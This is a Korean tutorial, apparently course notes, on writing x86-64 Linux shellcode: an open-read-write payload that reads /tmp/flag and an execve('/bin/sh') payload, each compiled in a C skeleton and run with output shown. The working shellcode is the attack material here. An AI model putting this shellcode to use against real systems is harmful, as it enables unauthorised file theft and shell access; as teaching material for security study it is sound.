셸코드(Shellcode)는 익스플로잇을 위해 제작된 어셈블리 코드 조각을 일컫습니다. 일반적으로 셸을 획득하기 위한 목적으로 셸코드를 사용해서, 특별히 "셸"이 접두사로 붙었습니다.
셸코드는 어셈블리어로 구성되므로 공격을 수행할 대상 아키텍처와 운영체제에 때라, 그리고 셸코드의 목적에 따라 다르게 작성됩니다.
orw셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드입니다. 예시로 "/tmp/flag"를 읽는 셸코드를 작성해보겠습니다.
구현하려는 셸코드의 동작을 C언어 형식으로 표현하면 다음과 같습니다.
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
syscall rax arg0(rdi) arg1(rsi) arg2(rdx) open 0x02 const char *filename int flags umode_t mode
첫번째로 할 일은 "/tmp/flag"를 리틀 엔디안 형태로 변환하여 스택에 push하는 것입니다. 스택에는 8 바이트 단위로만 값을 push할 수 있으므로 더 길 경우 나눠서 push합니다. 그리고 rdi가 이를 가리키도록 rsp를 rdi로 옮깁니다.
O_RDONLY는 0이므로 rsi는 0으로 설정합니다.
파일을 읽을 때 mode는 의미를 갖지 않으므로 rdx는 0으로 설정합니다.
마지막으로 rax를 open의 syscall값인 2로 설정합니다.
구현하면 다음과 같습니다.
push 0x67
mov rax, 0x616c662f706d742f
push rax ; push는 최대 32비트 즉시값까지만 허용하므로 레지스터에 로드 후 푸시
mov rdi, rsp ; rdi = "/tmp/flag
xor rsi, rsi ; rsi = 0
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2
syscall ; open("/tmp/flag", RD_ONLY, NULL)
syscall rax arg0(rdi) arg1(rsi) arg2(rdx) read 0x00 unsigned int fd char *buf size_t count
syscall의 반환 값은 rax로 저장됩니다. 따라서 open으로 획득한 /tmp/flag의 fd는 rax에 저장됩니다. 여기서 fd는
파일 디스크립터(File Discriptor)으로 이는 운영 체제에서 파일이나 리소스를 식별하기 위해 사용하는 정수 값입니다. read의 첫 번째 인자를 이 값으로 설정해야 하므로 rax를 rdi에 대입합니다.
rsi는 파일에서 읽은 데이터를 저장할 주소를 가리킵니다. 적당한 값인 0x30만큼 읽을 것이므로 rsi에 rsp-0x30을 대입합니다.
rdx는 파일로부터 읽어낼 데이터의 길이인 0x30으로 설정합니다.
read 시스템콜을 호출하기 위해서 rax를 0으로 설정합니다.
구현하면 다음과 같습니다
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp - 0x30
mov rdx, 0x30 ; rdx = 0x30
mov rax, 0x0 ; rax = 0
syscall ; read(fd, buf, 0x30)
syscall rax arg0(rdi) arg1(rsi) arg2(rdx) write 0x01 unsigned int fd char *buf size_t count
출력은 stdout으로 할 것이므로, rdi를 0x1로 설정합니다.
rsi와 rdx는 read에서 사용한 값을 그대로 설정합니다.
write 시스템콜을 호출하기 위해서 rax를 1로 설정합니다.
구현하면 다음과 같습니다
mov rdi, 1
mov rax, 0x1
syscall ; write(fd, buf, 0x30)
대부분의 운영체제는 실행 가능한 파일의 형식을 규정하고 있습니다. 윈도우의 PE, 리눅스의 ELF가 대표적인 예입니다. ELF(Executable and Linkable Format)는 크게 헤더와 코드 그리고 기타 데이터로 구성되어 있는데, 헤더에는 실행에 필요한 여러 정보가 적혀 있고, 코드에는 CPU가 이해할 수 있는 기계어 코드가 적혀있습니다.
우리가 위에서 작성한 셸코드는 아스키로 작성된 어셈블리 코드이므로 gcc 컴파일을 통해 이를 ELF 형식으로 변형하겠습니다.
어셈블리 코드를 컴파일하는 방법에는 여러 가지가 있을 수 있으나, 이 강의에서는 셸코드를 실행할 수 있는 스켈레톤 코드를 C언어로 작성하고, 거기에 셸코드를 탑재하는 방법을 사용하겠습니다.
스켈레톤 코드는 다음과 같습니다.
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
앞에서 작성한 셸코드를 채운 코드입니다.
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
셸코드가 실제로 작동함을 확인하기 위해 /tmp/flag 파일을 생성하겠습니다.
echo 'flag{this_is_open_read_write_shellcode!}' > /tmp/flag
orw.c를 컴파일하고, 실행합니다.
$ gcc -o orw orw.c -masm=intel
$ ./orw
flag{this_is_open_read_write_shellcode!}
셸코드가 성공적으로 실행됨을 알 수 있습니다. 만약 공격의 대상이 되는 시스템에서 이 셸코드를 실행할 수 있다면, 상대 서버의 자료를 유출해낼 수 있을 것입니다.
셸(Shell)이란 운영체제에 명령을 내리기 위해 사용되는 사용자으 인터페이스로, 운영체제의 핵심 기능을 하는 프로그램을 커널(Kernel)이라고 하는 것과 대비됩니다. 셸을 획득하면 시스템을 제어할 수 있게 되므로 통상적으로 셸 획득을 시스템 해킹의 성공으로 여깁니다.
execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데, 이를 이용하면 서버의 셸을 획득할 수 있습니다. 다른 언급 없이 셸코드라고 하면 이를 의미하는 경우가 많습니다.
최신의 리눅스는 대부분 sh, bash를 기본 셸 프로그램으로 탑재하고 있으며, 이 외에도 zsh, tsh 등의 셸을 유저가 설치해서 사용할 수 있습니다. 우리의 실습 환경인 Ubuntu 22.04에도 /bin/sh가 존재하므로, 이를 실행하는 execve 셸코드를 작성해보겠습니다.
syscall rax arg0(rdi) arg1(rsi) arg2(rdx) execve 0x3b const char *filename const char const argv const char const envp
여기서 argv는 실행파일에 넘겨줄 인자, envp는 환경변수입니다. 우리는 sh만 실행하면 되므로 다른 값들은 전부 null로 설정해줘도 됩니다. 리눅스에서는 기본 실행 프로그램들이 /bin/ 디렉토리에 저장되어 있으며, 우리가 실행할 sh도 여기에 저장되어 있습니다.
execve("/bin/sh", null, null)은 앞에서 한 orw에 비해 간단하므로 바로 어셈블리로 작성해 보겠습니다
mov rax, 0x68732f6e69622f ; "/bin/sh" 리틀 엔디안
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b
syscall ; execve("/bin/sh", null, null)
앞에서 사용한 스켈레톤 코드를 사용하여 execve 코드를 컴파일하겠습니다. 다음은 셸코드를 채운 스켈레톤 코드입니다.
// File name: execve.c
// Compile Option: gcc -o execve execve.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"mov rax, 0x68732f6e69622f\n"
"push rax\n"
"mov rdi, rsp # rdi = '/bin/sh'\n"
"xor rsi, rsi # rsi = NULL\n"
"xor rdx, rdx # rdx = NULL\n"
"mov rax, 0x3b # rax = sys_execve\n"
"syscall # execve('/bin/sh', null, null)\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
위 코드를 컴파일하고 실행한 결과는 다음과 같습니다. 실행 결과로 sh가 성공적으로 실행된 것을 확인할 수 있습니다.
bash$ gcc -o execve execve.c -masm=intel
bash$ ./execve
sh$ id
uid=1000(dreamhack) gid=1000(dreamhack) groups=1000(dreamhack)